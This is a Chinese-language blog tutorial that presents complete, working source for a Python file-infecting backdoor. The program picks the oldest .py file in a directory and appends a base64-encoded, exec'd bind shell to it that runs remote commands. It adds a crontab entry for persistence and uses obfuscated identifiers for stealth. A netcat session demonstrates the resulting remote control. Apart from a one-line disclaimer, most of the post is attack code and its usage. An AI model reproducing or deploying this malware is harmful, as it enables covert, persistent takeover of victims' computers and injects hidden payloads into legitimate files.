大家好,抱歉偷懒了几天,最近的作息也逐渐规律起来,更新也会尽量在早上 7 点前发出。接下来的日子里,让我们继续玩转 Python。
今天的文章来展示一个 Python“病毒”,它感染其他 Python 文件来创建一个后门。后门利用 Python 的内置 socket 模块来创建一个监听器,用来连接到 Python 的内置子进程模块,从而靶机上执行命令,同时还通过创建一个 cronjob 来建立持久性,以在每天固定的时间运行后门。最终完整的 Python 脚本包含在本文末尾。注意:请不要将本文中提供的 Python 脚本用于恶意目的。虽然它不先进,但经过一些修改,它可以让完全控制某人的计算机。本文的主要目的是通过这些脚本,更好地了解黑客如何获取正常程序并使它们成为恶意程序。
话不多说,让我们开始吧。
1、建立通信
任何后门最重要的部分都是建立通信。现在,让我们为后门访问编写一段代码。通过 TCP 连接到靶机,我们使用套接字模块监听黑客的连接请求。在 socket 模块中,有一个函数也称为 socket,我们可以使用它来创建 TCP 或 UDP 套接字。使用 socket.socket 函数创建套接字时,我们需要提供两个参数来指定我们要使用的 IP 版本和第 4 层协议。在这个 Python 脚本中,我们将传入以下参数:socket.AF_INET 和 socket.SOCK_STREAM。
- AF_INET : 指定 IPv4
- SOCK_STREAM :指定 TCP 而不是 UDP。
- socket.socket 函数返回一个对象,该对象由最终确定正在创建的套接字是侦听套接字(服务器)还是连接套接字(客户端)的方法组成。要创建侦听套接字,需要使用以下方法:
- bind > 将 IP 地址和端口绑定到网络接口
- listen > 指示我们的套接字开始监听传入的连接
- accept > 接受传入连接
- recv > 从连接的客户端接收数据
- send > 向连接的客户端发送数据
然而,最重要的方法是 recv 和 send。recv 方法会接收来自攻击者的命令,使用 subproces.run 函数在受害者的系统上执行它们,然后将执行命令的标准输出重定向到与攻击者建立的 TCP 连接。下面是 Python 代码:
- from socket import socket, AF_INET, SOCK_STREAM
- from subprocess import run, PIPE
- from os import _exit
- def serve():
- with socket(AF_INET, SOCK_STREAM) as soc:
- # [*] The obfuscated values are just the IP address and port to bind to
- soc.bind((ip, 端口))
- soc.listen(5)
- while True:
- conn, _ = soc.accept()
- while True:
- cmd = conn.recv(1024).decode("utf-8").strip()
- cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
- if cmd_output.returncode == 0:
- conn.send(bytes(cmd_output.stdout))
- else:
- continue
- serve()
2、感染目标 Python 文件
这段程序通过遍历指定目录(最好是用户的主目录)并查找修改时间最早的 Python 脚本。这里是测试,因此不是感染所有 Python 文件,而仅感染修改时间最早的文件。感染一个 Python 文件对于控制靶机来说已经够了。
- def MTRkYmNubWx(self):
- YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
- for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
- for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
- if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
- continue
- eHhtbG1vZGF0 = stat(f).st_mtime
- ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
- if not self.Z2hhenh4ZGwK:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代码的部分变量使用了混淆,让人不易看懂,其实很简单,就是使用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的修改时间。获得的每个文件的修改时间被转换为 datetime.datetime 对象,以便我们可以使用 > < 和 == 等运算符轻松比较日期。在这个函数的最后,选定的目标 Python 文件名被传递到将后门服务器代码注入其中的函数。
3、通过 crontab 任务来持久化
这个 Python 后门的最后一个函数使用 subprocess.run 函数来调用一个 Linux shell 命令,该命令将在当前用户的 crontab 文件中创建一个条目。此条目指定计划的 cronjob 应在每天 14:00 定时运行。添加 crontab 对应的 shell 命令如下:
- echo '00 14 * * * file_name | crontab -
然后我们让 Python 把上一步感染的文件添加到 crontab 中:
- def YWZhdGhjCg(self):
- if self.bGpqZ2hjen == "Linux":
- run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
4、最终的完整代码
- #!/usr/bin/env python3
- from os.path import expanduser
- from os import walk, stat
- from sys import path
- from glob import glob
- from platform import system
- from base64 import b64encode, b64decode
- from subprocess import run, PIPE
- from datetime import datetime
- class eHhjemR5eXB:
- def __init__(self, cHlkYWNhZWFpa):
- self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
- self.bGpqZ2hjen = system()
- self.aWFmYXRye = "0.0.0.0"
- self.ZmFsa2p0aGM = 0x401
- self.Z2hhenh4ZGwK = None
- def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
- YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
- YWxmanRob += b"\nfrom subprocess import run, PIPE"
- YWxmanRob += b"\ndef serve():"
- YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
- YWxmanRob += bytes(
- f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
- )
- YWxmanRob += b"\n\t\tsoc.listen(5)"
- YWxmanRob += b"\n\t\twhile True:"
- YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
- YWxmanRob += b"\n\t\t\twhile True:"
- YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
- YWxmanRob += (
- b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
- )
- YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
- YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
- YWxmanRob += b"\n\t\t\t\telse: continue"
- YWxmanRob += b"\nserve()"
- YWxmanRob_base64 = b64encode(YWxmanRob)
- cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
- cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
- cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
- YWxmanRob_base64.decode()
- )
- with open(dGR6eGFteXBxC, "a") as f:
- f.write(cXBxZXJjYQ)
- self.ZmFsa2p0aGM += 1
- def MTRkYmNubWx(self):
- YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
- for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
- for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
- if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
- continue
- eHhtbG1vZGF0 = stat(f).st_mtime
- ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
- if not self.Z2hhenh4ZGwK:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
- self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
- self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
- def YWZhdGhjCg(self):
- if self.bGpqZ2hjen == "Linux":
- run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
- if __name__ == "__main__":
- # For traversing the user's home directory
- # aGdsZGFx = expanduser('~')
- # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
- YmNjLGFka2x = eHhjemR5eXB("./test")
- YmNjLGFka2x.MTRkYmNubWx()
- YmNjLGFka2x.YWZhdGhjCg()
在靶机执行该代码后,会感染 ./test 目录中最早修改的文件(目标文件),会自动在目标文件的最后添加这两行代码:
- from subprocess import run
- run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
是不是非常隐蔽?
5、访问后门
为了测试,我们手动执行下感染的文件,而不是等待 crontab。
- ~ # crontab -l
- 37 13 * * * /root/transferfile/transfile_interface.py
- ~ # cd transferfile/
- ~/transferfile # python transfile_interface.py
- ~/transferfile #
程序正常结束,没有任何异常。然后使用 nc localhost 1025 来反弹一个 shell,在这里执行 ls, whoami 就是靶机的信息了:
这里演示的 localhost 即为靶机,真实场景下就是靶机的 ip 地址。现在靶机已经完全被控制了,而受害者完全不知情。
最后的话
现在,你已经学习了如何使用 Python 编程语言创建持久性后门,学习了如何使用 Python 的 socket 模块、如何遍历目录以及如何创建 crontab 任务。如果要感染真实靶机,还要学会如何分发这个后门程序,这里不做探讨。